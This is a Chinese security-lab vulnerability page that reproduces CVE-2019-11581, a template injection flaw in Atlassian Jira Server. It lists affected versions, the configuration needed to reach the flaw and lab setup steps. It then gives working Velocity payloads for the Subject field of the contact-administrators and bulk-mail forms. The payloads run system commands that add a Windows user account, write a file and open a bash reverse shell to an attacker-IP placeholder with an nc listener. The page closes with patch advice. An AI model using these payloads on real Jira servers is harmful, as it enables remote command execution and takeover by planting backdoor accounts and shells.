Atlassian JIRA服务器模板注入漏洞–kn-漏洞文库小世界-安全文库-NGC660安全实验室

Atlassian JIRA服务器模板注入漏洞–kn

###Atlassian JIRA服务器模板注入漏洞–kn

 

漏洞描述

Jira是Atlassian公司出品的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。Jira配置灵活、功能全面、部署简单、扩展丰富,因此具有较广泛的应用范围,请相关用户及时进行排查,第一时间封堵风险。

Atlassian Jira Server和Jira Data  Center存在服务端模板注入漏洞,成功利用此漏洞的攻击者可对运行受影响版本的Jira Server或Jira Data  Center的服务器执行任意命令,从而获取服务器权限,严重危害网络资产。

cve编号

CVE-2019-11581

影响范围

受影响版本

  • Jira 4.4.0 < 7.6.14
  • Jira 7.7.0 < 7.13.5
  • Jira 8.0.0 < 8.0.3
  • Jira 8.1.0 < 8.1.2
  • Jira 8.2.0 < 8.2.3

不受影响版本

  • Jira 7.6.14
  • Jira 7.13.5
  • Jira 8.0.3
  • Jira 8.1.2
  • Jira 8.2.3

前期准备

1.漏洞利用条件

当JIRA中配置了SMTP,并且启用了联系人管理员表单时; 当JIRA中配置了SMTP,并且攻击者拥有“JIRA管理员”访问权限时。

2.两种URL漏洞验证方式

第一种无需管理员账户权限:http://127.0.0.1:8080/secure/ContactAdministrators!default.jspa

1608465214996-0c27278a-3c0b-4be4-9e1d-38ac336fcd82

第二种需要管理员账户权限:http://127.0.0.1:8080/secure/admin/SendBulkMail!default.jspa

1608465259563-c38a5cfd-9c89-4804-992b-a02f1d47e6a2

3.环境准备

靶机:win7

版本信息:Atlassian JIRAv7.13.0  下载地址(下载完成后可以去官网注册账号申请个免费试用):

https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe

访问如下URL(无需管理员账户权限):

如果提示如下图,这说明没有配置联系管理员是无法触发漏洞。

1608465378841-fc6ca169-427c-4b84-ab7d-356fb4164415

请登陆后台开启联系管理员,配置地址如下:

http://127.0.0.1:8080/secure/admin/AddSmtpMailServer!default.jspa

默认是关闭的,需要配置了STMP发信后才能开启,配置STMP的时候可以测试连接,服务器必须开25端口,不然不能发邮件。

1.在系统-外发邮件创建一个SMTP电邮服务器。

1608465968136-0e4f0a3c-4db6-44af-acc4-3f8488c08fa6 2.创建成功。

1608466004135-70b3c194-1daa-443d-b0e9-6c68a0d2766b

3.开启联系管理员表单。

http://127.0.0.1:8080/secure/admin/EditApplicationProperties!default.jspa

1608466094104-6807c1bf-6a8e-4737-a503-cd67f1c21b5c

漏洞复现

一.未登录状态触发漏洞

1.通过http://127.0.0.1:8080/login.jsp访问看是否正常运行。

1608466475370-892a0696-120e-42c3-88fb-f575c3b92548 2.访问http://127.0.0.1:8080/secure/ContactAdministrators!default.jspa

1608466625586-01ad56cc-8973-4d81-929f-1cd1b1f3c436

3.在Subject填入payload,注意,我这里环境是windows,所以可以添加账号观察,Linux可以用反弹shell的代码等等,反正换成自己想执行的命令。

$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null,null).exec(‘net user root abc@ABC123 /add’).waitFor()

目标主机在linux环境可以使用下边的payload,在tmp目录下创建eve-2019-11581文件

$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null, null).exec(‘touch /tmp/cve-2019-11581’).toString()

1608466673642-05ff7618-0ee6-4f78-a5b6-16c34f22d91a 4.成功添加root用户,和没添加前进行对比,如下图所示:

1608466721689-86e65836-f391-4a03-98b7-3b5518307fba

1608466755581-bdd0d079-2ddb-44a2-be92-030f0ab273d3

二.登录管理员账号触发漏洞

1.登录管理员账号访问系统-发送电邮,也可以直接访问如下路径:

/secure/admin/SendBulkMail!default.jspa

1608466779005-1e004230-f28e-4676-88d2-9885c05e8c1c 2.在主题处填入payload,执行以下命令添加账号的账户名。

$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null,null).exec(‘net user test abc@ABC123 /add’).waitFor()

Linux下可执行的payload:

$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null,null).exec(‘curl http://www.baidu.com’).waitFor()

$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null,null).exec(‘bash -i >& /dev/tcp/攻击者IP/2333 0>&1’).waitFor()

攻击者主机执行:nc  -lvvp 2333

1608466843682-4ee8e1b1-6cd8-475c-b518-52081045731f 3.查看发现成功添加了新的账户,如下图所示:

1608466868014-229ec6c1-1522-4dfe-8eff-5c889743a76c

1608466899097-0542b9a0-8c52-4c6e-baec-096b076bc014 修复建议

1.升级到不受影响的版本。

2.关闭联系管理员表单,并禁止对路径/secure/admin/SendBulkMail!default.jspa的访问。

参考链接

http://blog.nsfocus.net/cve-2019-11581-2/

https://www.cnblogs.com/backlion/p/11608439.html

https://blog.csdn.net/xuandao_ahfengren/article/details/111107410

请登录后发表评论

    请登录后查看回复内容